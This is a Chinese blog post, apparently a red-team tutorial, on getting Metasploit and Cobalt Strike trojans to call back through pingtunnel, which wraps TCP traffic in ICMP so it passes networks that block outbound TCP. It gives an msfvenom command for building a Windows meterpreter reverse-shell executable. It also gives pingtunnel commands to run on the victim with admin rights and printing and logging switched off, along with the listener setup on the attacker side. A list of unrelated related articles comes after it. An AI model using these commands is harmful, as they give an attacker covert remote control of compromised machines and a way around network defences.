隧道技术-tcp封装icmp出网

1.背景:

目标出网限制tcp协议

2.msf木马转发上线

生成木马:msfvenom -p windows/meterpreter/reverse_tcp Lhost=127.0.0.1 LPORT=3333 -f exe > msf1.exe

受害机器管理员权限执行:

pingtunnel.exe -type client -l 127.0.0.1:3333 -s 192.168.3.195 -t 192.168.3.195:4444 -tcp 1 -noprint 1 -nolog 1

攻击机器执行:

./pingtunnel -type server

使用msf接受tcp协议木马会话

原理:

木马运行在受害主机使用本地3333端口连接,由tcp协议转换未icmp协议数据出网,由kali接收,并且再次转会tcp协议。

3.cs木马转发上线

cs创建监听器:

使用本地的127.0.0.1:9999tcp协议数据使用icmp封装传递给cs服务端。

cs服务端执行:./ping -type server

受害机器执行:

pingtunnel.exe -type client -l 127.0.0.1:9999-s csip -t csip:7777 -tcp 1 -noprint 1 -nolog 1、

相关推荐
記億揺晃着的那天2 小时前
解密 HTTPS:从握手到安全通信
网络协议·安全·https·ssl证书
AuroraDPY4 小时前
计算机网络:基于TCP协议的自定义协议实现网络计算器功能
网络·tcp/ip·计算机网络
张人玉5 小时前
TCP 的三次握手和四次挥手
网络·tcp/ip·c#
qq_254674417 小时前
华为交换机上配置基于 IP 地址的 ACL
网络
宁雨桥7 小时前
WebSocket 核心 API 速查表
网络·websocket·网络协议
打不了嗝 ᥬ᭄7 小时前
【Linux】网络层协议
linux·网络·c++·网络协议·http
进击的圆儿7 小时前
HTTP协议深度解析:从基础到性能优化
网络协议·http·性能优化
才聚PMP7 小时前
关于开启NPDP项目2025年第二次续证工作的通知
网络协议·https·ssl
九河云8 小时前
华为云ECS与Flexus云服务器X实例:差异解析与选型指南
大数据·运维·服务器·网络·人工智能·华为云
头发还没掉光光9 小时前
Linux网络初始及网络通信基本原理
linux·运维·开发语言·网络·c++